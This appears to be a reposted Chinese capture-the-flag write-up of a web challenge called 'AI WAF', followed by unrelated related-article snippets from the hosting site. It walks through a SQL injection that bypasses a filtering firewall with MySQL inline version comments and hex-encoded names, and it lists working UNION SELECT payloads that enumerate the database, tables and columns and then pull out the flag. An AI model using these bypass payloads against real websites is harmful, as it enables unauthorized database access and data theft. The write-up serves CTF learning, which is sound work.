长城杯 WEB安全 AI WAF

根据提示,题目明确提到 "NexaData公司存储",这通常和数据库相关。并且提示AI_WAF

“AI WAF”通常指的是具备一定语义分析能力或强正则匹配规则的防火墙,它不仅仅匹配简单的关键

词,而是会识别 SQL 语句的结构。

根据上面的分析,极大概率是一个SQL注入绕过WAF的题目。按照正常的SQL注入流程来即

可,只不过绕过的规则可能不同。

先在kali中使用dirsearch扫描一下网址,扫除一个alert和search,但是只有alert能够访问

访问alert页面,发现是一个SQL检测识别的页面,这个应该就是题目中的AI_WAF,用来判断

网页是否遭受SQL注入攻击,以及显示用户的操作行为是SQL注入攻击的概率。

和正常的SQL注入流程一样,先找到注入点,在网页找到一个搜索框。

搜索输入1可以搜索到结果,在搜索框输入注入语句,显示无法搜索到结果,应该是备WAF过滤掉了。

查看源代码,没发现直接的参数,直接BP抓包查看格式。

通过POST方法,向/search接口发送JSON格式数据 的HTTP请求

在这里尝试了很多绕过方式,但是大多都被WAF识别拦截了。

但是在使用内联注释/!50400/时回显成功,内联注释是一个非常经典的利用 MySQL 特性

来绕过 WAF规则的技巧。

在标准SQL中,//里的内容会被当作注释忽略,但在MySQL中,/!50400/这代表“如果当

前数据库版本高于或等于5.04.00,则执行其中的代码”

接下来就是正常的SQL注入流程了:

(1)确认注入点与列数

使用搜索时1有回显,可以用来作为注入点,使用order by命令判断列数为3。

1' /*!50400order*/ /*!50400by*/3#

(2)判断回显位置,爆数据库名

将参数设置为-1让前面的查询为空,强行显示后面Union的结果。

可以看到3个回显位置:content、id、title

得到数据库为nexadata,和前面提示的公司的名字一样

-1' /*!50400union*/ /*!50400select*/1,/*!50400database*/(),3#

(3)根据数据库名,爆表名

注意这里不能使用group_concat(table_name)而是用limit,被过滤掉了,当时在卡在这里试了好久。得到两个表明article、where_is_my_flagggggg

-1' /*!50400union*/ /*!50400select*/ 1,2,table_name /*!50400from*/ /*!50400information_schema*/.tables /*!50400where*/ table_schema=database() /*!50400limit*/0,1 # ​ -1'/*!50400union*/ /*!50400select*/1,2,table_name /*!50400from*/ /*!50400information_schema*/.tables /*!50400where*/table_schema=database()/*!50400limit*/1,1#

(4)根据数据库名和表名,爆列名

显然where_is_my_flagggggg表中有我们要的flag,这里表名我使用了十六进制,单引号会被识别到。得到一个列名Th15_ls_f149

-1' /*!50400union*/ /*!50400select*/1,2,column_name /*!50400from*/ /*!50400information_schema*/.columns /*!50400where*/table_name=0x77686572655f69735f6d795f666c61676767676767 /*!50400limit*/0,1#

这个地方当时忘记截图了

(5)根据表名和列名,爆字段、

最终得到flag

-1' /*!50400union*/ /*!50400select*/1,2,Th15_ls_f149/*!50400from*/ where_is_my_flagggggg /*!50400limit*/0,1#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1119936.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【计算机毕业设计案例】机器学习基于python深度学习的鲜花识别

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

黄仁勋最新演讲:5项创新加持,Rubin性能数据首曝;多样化开源,覆盖Agent/机器人/自动驾驶/AI4S

新年伊始,素有「科技春晚」之称的 CES 2026(Consumer Electronics Show,国际消费电子展)在美国拉斯维加斯拉开序幕。除了具身智能、人形机器人、自动驾驶等仍然占据核心展示位置之外,作为新芯片亮剑的重要秀场&#xf…

CTF 学习笔记

文章目录一,CTF(CaptureThe Flag)1 CTF简介2 CTF赛事2.1 国家赛事2.2 国内赛事3 CTF意义4 CTF学习4.1 竞赛模式4.2 题目类型4.3 学习建议二,CTF题目案例三,CTF靶机实战一步步拿下WordPres1 实验环境1.1WordPress简介1.…

虚拟机安装麒麟操作系统如何重置root密码

最近我们主要学习的是关于如何在虚拟机里面使用麒麟操作系统进行相关的学习。其中,麒麟操作系统属于国产操作系统,它其实和类似于 Ubuntu、CentOS 这样主流的 Linux 操作系统操作起来没有太大的区别。 但是我在实践的过程中遇到了如下的问题:…

大数据领域Storm的监控与调优实践

大数据领域Storm的监控与调优实践 关键词:Storm分布式计算、实时流处理、集群监控、性能调优、吞吐量优化、延迟控制、资源管理 摘要:本文深入探讨Apache Storm的监控体系与调优策略,结合底层架构原理与实际工程经验,系统解析监控…

基于深度学习的杂草检测系统

博主介绍:java高级开发,从事互联网行业六年,熟悉各种主流语言,精通java、python、php、爬虫、web开发,已经做了多年的设计程序开发,开发过上千套设计程序,没有什么华丽的语言,只有实…

ABAQUS二维混凝土细观模型的数字化重建技术(二)图像映射

上篇文章介绍了基于图像进行混凝土细观模型的几何重构法,详细步骤可查看下面的连接。 ABAQUS二维混凝土细观模型的数字化重建技术(一)几何重构 本篇介绍二维混凝土细观模型在ABAQUS中数字化重建技术的第二种方法——基于ABAQUS背景网格的图像映射方法。混凝土图像…

深度学习毕设项目:python基于cnn卷积网络识别树叶是否存在病变

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

ue4 我的ai要用到的一下方法汇总 + ue的ai编程助手

Epic Developer Assistant For Unreal Engine | Epic Developer Community 不懂就问 import unrealfolder_path "/Game/Characters/MainChar/W/Meshes" print(f"正在扫描文件夹: {folder_path}")asset_registry unreal.AssetRegistryHelpers.get_asset_…

【路径规划】改进的蚁群算法无人机栅格地图最短路径规划【含Matlab源码 14857期】

💥💥💥💥💥💥💥💥💞💞💞💞💞💞💞💞💞Matlab武动乾坤博客之家💞…

不会剪辑、不写稿,能不能靠 AI 做电影解说?

在电影解说这个赛道里,很多人一开始就被两个问题劝退:一是不会剪辑,二是不知道解说稿怎么写。但真正做过一段时间就会发现,这两个问题本身并不是门槛,真正的难点在于:能不能持续、稳定地把内容做出来。这也…

双曲余弦ch(x)双曲余弦函数(ch(x))是双曲函数的一种,定义为:‌ch(x) = (eˣ + e⁻ˣ) / 2‌它和三角函数中的余弦函数类似,但定义在双曲线上,常用于数学、物理和工程领

双曲余弦ch(x) 双曲余弦函数(ch(x))是双曲函数的一种,定义为: ‌ch(x) = (eˣ + e⁻ˣ) / 2‌ 它和三角函数中的余弦函数类似,但定义在双曲线上,常用于数学、物理和工程领域。 主要性质 ‌定义域‌:全体实数(x ∈ ℝ) ‌值域‌:[1, +∞) ‌奇偶性‌:偶函数(ch(…

DAB加ai加蓝牙音箱有市场吗

简短结论:DAB AI 蓝牙音箱是有市场潜力的,但定位和目标用户很关键。 下面我分几个维度分析这个产品组合的市场机会: 📈 1. DAB/DAB 市场在增长 ✔️ DAB(数字音频广播)是全球多个国家正在推广的数字无线…

js获取本地视频流并播放

直接上代码<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthdevice-width, i…

大数据领域数据交易的商业模式探讨

大数据领域数据交易的商业模式探讨:解锁数据价值新密码 关键词:大数据、数据交易、商业模式、数据安全、数据隐私、数据市场、数据应用 摘要:在当今数字化时代,数据已成为一种极具价值的资产。大数据领域的数据交易如同一片新兴的商业蓝海,吸引着众多参与者。本文将深入…

深度测评专科生必用的8款AI论文软件

深度测评专科生必用的8款AI论文软件 2026年专科生论文写作工具测评&#xff1a;如何选择适合自己的AI助手 随着AI技术的不断进步&#xff0c;越来越多的专科生开始借助AI工具提升论文写作效率。然而&#xff0c;面对市场上琳琅满目的论文辅助软件&#xff0c;如何挑选真正适合自…

为什么你的Bonding总是单线跑?一文讲透layer2/layer2+3/layer3+4

文章目录前言一、Linux Bonding驱动底层架构简述二、Hash Policy三、 策略解析&#xff08;layer2 / layer23 / layer34&#xff09;1.layer22.layer233.layer34四、 底层实现细节&#xff08;以Kernel源码为例&#xff09;总结前言 今天同事在部署环境的时候遇到了一个奇怪的…

adb: unable to connect for root: more than one device/emulator

意思是 当前 ADB 同时连着不止一个设备/模拟器,所以 adb root 不知道该对哪一台执行。解决方式就是 先列出设备,然后 指定目标设备序列号 再执行。 1) 先看当前连了哪些设备 bat adb devices -l 你会看到类似: text List of devices attachedemulator-5554 device ..…

计算机深度学习毕设实战-基于python深度学习的鲜花识别人工智能

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

wazuh-主动拉黑

拉黑命令 cd /var/ossec/active-response/bin ls default-firewall-drop firewall-drop ipfw npf restart-wazuh disable-account host-deny kaspersky pf route-null firewalld-drop ip-customblock kaspersky.py re…